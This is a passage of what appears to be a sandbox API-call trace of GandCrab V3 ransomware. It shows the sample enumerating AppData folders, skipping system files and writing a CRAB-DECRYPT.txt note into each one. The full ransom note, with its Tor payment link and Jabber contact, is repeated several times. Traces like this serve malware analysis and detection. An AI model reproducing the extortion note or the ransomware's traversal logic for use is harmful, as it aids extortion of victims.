http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.526] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0111.527] CloseHandle (hObject=0x3f4) returned 1
	[0111.527] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.527] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\") returned 62
	[0111.527] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*"
	[0111.527] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xda7130
	[0111.527] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.528] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.528] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.528] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.528] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.528] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.528] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.528] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\CRAB-DECRYPT.txt"
	[0111.528] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.528] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\CRAB-DECRYPT.txt") returned 78
	[0111.528] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\CRAB-DECRYPT.txt") returned 78
	[0111.528] lstrlenW (lpString=".txt") returned 4
	[0111.528] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.528] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.528] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.529] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\CRAB-DECRYPT.txt") returned 78
	[0111.529] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\CRAB-DECRYPT.txt") returned 78
	[0111.529] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.529] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.529] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.529] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.529] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.529] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.529] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.529] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.529] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.529] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.529] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0111.529] FindClose (in: hFindFile=0xda7130 | out: hFindFile=0xda7130) returned 1
	[0111.529] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0111.529] FindClose (in: hFindFile=0xda6f30 | out: hFindFile=0xda6f30) returned 1
	[0111.530] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0111.530] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1
	[0111.530] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1
	[0111.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Internet Explorer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer"
	[0111.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\"
	[0111.530] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.530] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.530] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.530] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.531] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.531] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.531] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.531] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\\\CRAB-DECRYPT.txt") returned 83
	[0111.531] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0111.539] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.539] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0111.539] CloseHandle (hObject=0x3f0) returned 1
	[0111.540] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.540] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\") returned 66
	[0111.540] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*"
	[0111.540] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda6f30
	[0111.540] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.540] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.540] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.540] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.540] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.540] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.540] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.540] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\CRAB-DECRYPT.txt"
	[0111.540] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.541] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\CRAB-DECRYPT.txt") returned 82
	[0111.541] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\CRAB-DECRYPT.txt") returned 82
	[0111.541] lstrlenW (lpString=".txt") returned 4
	[0111.541] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.541] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.541] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.541] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\CRAB-DECRYPT.txt") returned 82
	[0111.541] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\CRAB-DECRYPT.txt") returned 82
	[0111.541] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.541] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.542] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.542] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.542] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.542] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.542] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.542] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.542] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.542] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.542] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.542] lstrcmpW (lpString1="Quick Launch", lpString2=".") returned 1
	[0111.542] lstrcmpW (lpString1="Quick Launch", lpString2="..") returned 1
	[0111.542] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch"
	[0111.542] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\"
	[0111.542] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.543] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.543] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.543] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.543] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.543] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.543] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.543] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.543] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.543] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\\\CRAB-DECRYPT.txt") returned 96
	[0111.543] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0111.544] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.544] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0111.545] CloseHandle (hObject=0x3f4) returned 1
	[0111.545] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.545] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned 79
	[0111.545] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*"
	[0111.545] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xda7070
	[0111.545] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.546] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.546] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.546] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.546] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.546] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.546] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.546] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\CRAB-DECRYPT.txt"
	[0111.546] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.546] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\CRAB-DECRYPT.txt") returned 95
	[0111.546] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\CRAB-DECRYPT.txt") returned 95
	[0111.546] lstrlenW (lpString=".txt") returned 4
	[0111.546] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.546] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.546] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.547] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\CRAB-DECRYPT.txt") returned 95
	[0111.547] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\CRAB-DECRYPT.txt") returned 95
	[0111.547] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.547] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.547] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.547] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.547] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.547] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.547] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.547] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.547] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.547] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.547] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.547] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0111.547] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0111.547] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini"
	[0111.547] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.548] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 90
	[0111.548] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 90
	[0111.548] lstrlenW (lpString=".ini") returned 4
	[0111.548] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.548] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0111.548] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.548] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 90
	[0111.548] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 90
	[0111.548] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0111.548] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.549] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.549] lstrcmpW (lpString1="Google Chrome.lnk", lpString2=".") returned 1
	[0111.549] lstrcmpW (lpString1="Google Chrome.lnk", lpString2="..") returned 1
	[0111.549] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Google Chrome.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk"
	[0111.549] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.549] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned 96
	[0111.549] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned 96
	[0111.549] lstrlenW (lpString=".lnk") returned 4
	[0111.549] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
